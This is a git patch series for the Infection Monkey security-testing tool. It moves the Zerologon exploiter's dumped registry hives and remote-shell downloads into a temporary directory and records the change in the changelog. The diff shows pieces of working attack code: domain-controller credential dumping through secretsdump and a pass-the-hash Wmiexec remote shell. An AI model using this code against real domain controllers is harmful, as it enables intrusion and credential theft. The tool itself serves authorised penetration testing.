From 85b079c1ab4fcdbf3ee10952f430d062924d7e90 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 4 May 2021 06:47:43 -0400 Subject: [PATCH 1/2] agent: Create a temporary directory for zerologon artifacts Not all users are guaranteed to have a $HOME. Use a temporary directory instead. --- monkey/infection_monkey/exploit/zerologon.py | 19 ++++++++++++++----- .../exploit/zerologon_utils/remote_shell.py | 5 +++-- .../exploit/zerologon_utils/wmiexec.py | 7 +++++-- 3 files changed, 22 insertions(+), 9 deletions(-) diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index 232436cdf..019bf8291 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -7,6 +7,7 @@ https://github.com/risksense/zerologon/. import logging import os import re +import tempfile from binascii import unhexlify from typing import Dict, List, Optional, Tuple @@ -39,6 +40,10 @@ class ZerologonExploiter(HostExploiter): self.exploit_info["credentials"] = {} self.exploit_info["password_restored"] = None self._extracted_creds = {} + self._secrets_dir = tempfile.TemporaryDirectory(prefix="zerologon") + + def __del__(self): + self._secrets_dir.cleanup() def _exploit_host(self) -> bool: self.dc_ip, self.dc_name, self.dc_handle = get_dc_details(self.host) @@ -302,9 +307,9 @@ class ZerologonExploiter(HostExploiter): options = OptionsForSecretsdump( dc_ip=self.dc_ip, just_dc=False, - system=os.path.join(os.path.expanduser("~"), "monkey-system.save"), - sam=os.path.join(os.path.expanduser("~"), "monkey-sam.save"), - security=os.path.join(os.path.expanduser("~"), "monkey-security.save"), + system=os.path.join(self._secrets_dir.name, "monkey-system.save"), + sam=os.path.join(self._secrets_dir.name, "monkey-sam.save"), + security=os.path.join(self._secrets_dir.name, "monkey-security.save"), ) dumped_secrets = self.get_dumped_secrets(remote_name="LOCAL", options=options) @@ -331,7 +336,11 @@ class ZerologonExploiter(HostExploiter): ) wmiexec = Wmiexec( - ip=self.dc_ip, username=username, hashes=":".join(user_pwd_hashes), domain=self.dc_ip + ip=self.dc_ip, + username=username, + hashes=":".join(user_pwd_hashes), + domain=self.dc_ip, + secrets_dir=self._secrets_dir, ) remote_shell = wmiexec.get_remote_shell() @@ -372,7 +381,7 @@ class ZerologonExploiter(HostExploiter): def remove_locally_saved_HKLM_keys(self) -> None: for name in ["system", "sam", "security"]: - path = os.path.join(os.path.expanduser("~"), f"monkey-{name}.save") + path = os.path.join(self._secrets_dir.name, f"monkey-{name}.save") try: os.remove(path) except Exception as e: diff --git a/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py b/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py index 3097610fb..15429eb4a 100644 --- a/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py +++ b/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py @@ -58,7 +58,7 @@ LOG = logging.getLogger(__name__) class RemoteShell(cmd.Cmd): CODEC = sys.stdout.encoding - def __init__(self, share, win32Process, smbConnection, outputFilename): + def __init__(self, share, win32Process, smbConnection, outputFilename, secrets_dir): cmd.Cmd.__init__(self) self.__share = share self.__output = "\\" + outputFilename @@ -68,6 +68,7 @@ class RemoteShell(cmd.Cmd): self.__transferClient = smbConnection self.__pwd = str("C:\\") self.__noOutput = False + self.__secrets_dir = secrets_dir # We don't wanna deal with timeouts from now on. if self.__transferClient is not None: @@ -83,7 +84,7 @@ class RemoteShell(cmd.Cmd): newPath = ntpath.normpath(ntpath.join(self.__pwd, src_path)) drive, tail = ntpath.splitdrive(newPath) filename = ntpath.basename(tail) - local_file_path = os.path.join(os.path.expanduser("~"), "monkey-" + filename) + local_file_path = os.path.join(self.__secrets_dir.name, "monkey-" + filename) fh = open(local_file_path, "wb") LOG.info("Downloading %s\\%s" % (drive, tail)) self.__transferClient.getFile(drive[:-1] + "$", tail, fh.write) diff --git a/monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py b/monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py index 2486998e4..70f3d5a07 100644 --- a/monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py +++ b/monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py @@ -61,13 +61,16 @@ LOG = logging.getLogger(__name__) class Wmiexec: OUTPUT_FILENAME = "__" + str(time.time()) - def __init__(self, ip, username, hashes, password="", domain="", share="ADMIN$"): + def __init__( + self, ip, username, hashes, password="", domain="", share="ADMIN$", secrets_dir=None + ): self.__ip = ip self.__username = username self.__password = password self.__domain = domain self.__lmhash, self.__nthash = hashes.split(":") self.__share = share + self.__secrets_dir = secrets_dir self.shell = None def connect(self): @@ -107,7 +110,7 @@ class Wmiexec: self.connect() win32Process, _ = self.iWbemServices.GetObject("Win32_Process") self.shell = RemoteShell( - self.__share, win32Process, self.smbConnection, self.OUTPUT_FILENAME + self.__share, win32Process, self.smbConnection, self.OUTPUT_FILENAME, self.__secrets_dir ) return self.shell From 93bb14f7bffd60f16d0a70a921bd28d68f70e060 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 4 May 2021 08:36:22 -0400 Subject: [PATCH 2/2] agent: Update changelog with zerologon tmp directory item --- CHANGELOG.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 5bf4916e6..41fdb69f2 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -24,6 +24,8 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). collection time. #1102 - Changed default BB test suite: if `--run-performance-tests` flag is not specified, performance tests are skipped. +- Zerologon exploiter writes runtime artifacts to a secure temporary directory + instead of $HOME. #1143 ### Fixed - Attempted to delete a directory when monkey config reset was called. #1054